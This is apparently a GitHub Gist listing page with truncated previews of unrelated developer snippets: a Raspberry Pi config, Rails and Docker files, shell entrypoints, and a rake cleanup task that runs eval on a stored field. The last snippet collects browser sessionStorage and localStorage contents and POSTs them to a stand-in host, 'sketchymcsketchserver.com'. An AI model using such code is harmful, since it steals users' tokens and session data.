This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# For more options and information see | |
# http://rpf.io/configtxt | |
# Some settings may impact device functionality. See link above for details | |
# uncomment if you get no picture on HDMI for a default "safe" mode | |
#hdmi_safe=1 | |
# uncomment this if your display has a black border of unused pixels visible | |
# and your display can output without overscan | |
#disable_overscan=1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Ahoy::Event < ApplicationRecord | |
scope :with_label_grouped_data , -> { | |
# Build a subquery SQL | |
subquery = self.unscoped.select("(case when #{table_name}.properties->>'label' is not NULL then #{table_name}.properties->>'label' else #{table_name}.name end) as label, #{table_name}.id").to_sql | |
# join the subquery to base model and returns the grouped data as Hash | |
self | |
.joins("INNER JOIN (#{subquery}) as labelled_events ON labelled_events.id = #{table_name}.id") | |
.group(:label) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export const login = (email, password) => { | |
return new Promise((resolve, reject) => { | |
let endpoint = `http://api.your-domain-here.ngrok.io/api/core/v1/sessions`; | |
fetch(endpoint, { | |
method: "POST", | |
credentials: "include", | |
headers: { | |
"Content-Type": "application/json", | |
"Accept": "application/json", | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ruby:2.6.6-alpine | |
ENV APP_PATH /var/app | |
ENV BUNDLE_VERSION 2.1.4 | |
ENV BUNDLE_PATH /usr/local/bundle/gems | |
ENV TMP_PATH /tmp/ | |
ENV RAILS_LOG_TO_STDOUT true | |
ENV RAILS_PORT 3000 | |
# copy entrypoint scripts and grant execution permissions |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: '3' | |
networks: | |
development: | |
test: | |
volumes: | |
db_data: | |
gem_cache: | |
shared_data: | |
services: | |
restarone_redis: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -e | |
echo "Environment: $RAILS_ENV" | |
# install missing gems | |
bundle check || bundle install --jobs 20 --retry 5 | |
# Remove pre-existing puma/passenger server.pid |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -e | |
echo "Environment: $RAILS_ENV" | |
# Check if we need to install new gems | |
bundle check || bundle install --jobs 20 --retry 5 | |
# Then run any passed command |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
task :clear_old_ahoy_visits => [:environment] do | |
Subdomain.all.each do |subdomain| | |
Apartment::Tenant.switch subdomain.name do | |
if subdomain.purge_visits_every != Subdomain::TRACKING_PURGE_MAPPING[:never] | |
p "clearing old ahoy visits for [#{subdomain.name}] @ #{Time.now}" | |
visits = Ahoy::Visit.where("started_at < ?", eval("#{subdomain.purge_visits_every}.ago")) | |
p "#{visits.size} visits eligible for deletion" | |
visits.in_batches do |batch| | |
p "cleared old ahoy visits @ #{Time.now}" | |
batch.destroy_all |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CFLAGS="-Wno-error=implicit-function-declaration" RUBY_CONFIGURE_OPTS='--with-readline-dir=/usr/local/opt/readline/' arch -x86_64 rbenv install 2.4.2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => { | |
return { | |
key: k, value: sessionStorage.getItem(k) | |
} | |
}) | |
console.log(storedItems); | |
let xhr = new XMLHttpRequest(); | |
xhr.open("POST", 'https://sketchymcsketchserver.com', true); | |
xhr.setRequestHeader("Content-Type", "application/json"); | |
xhr.onreadystatechange = function() { |
NewerOlder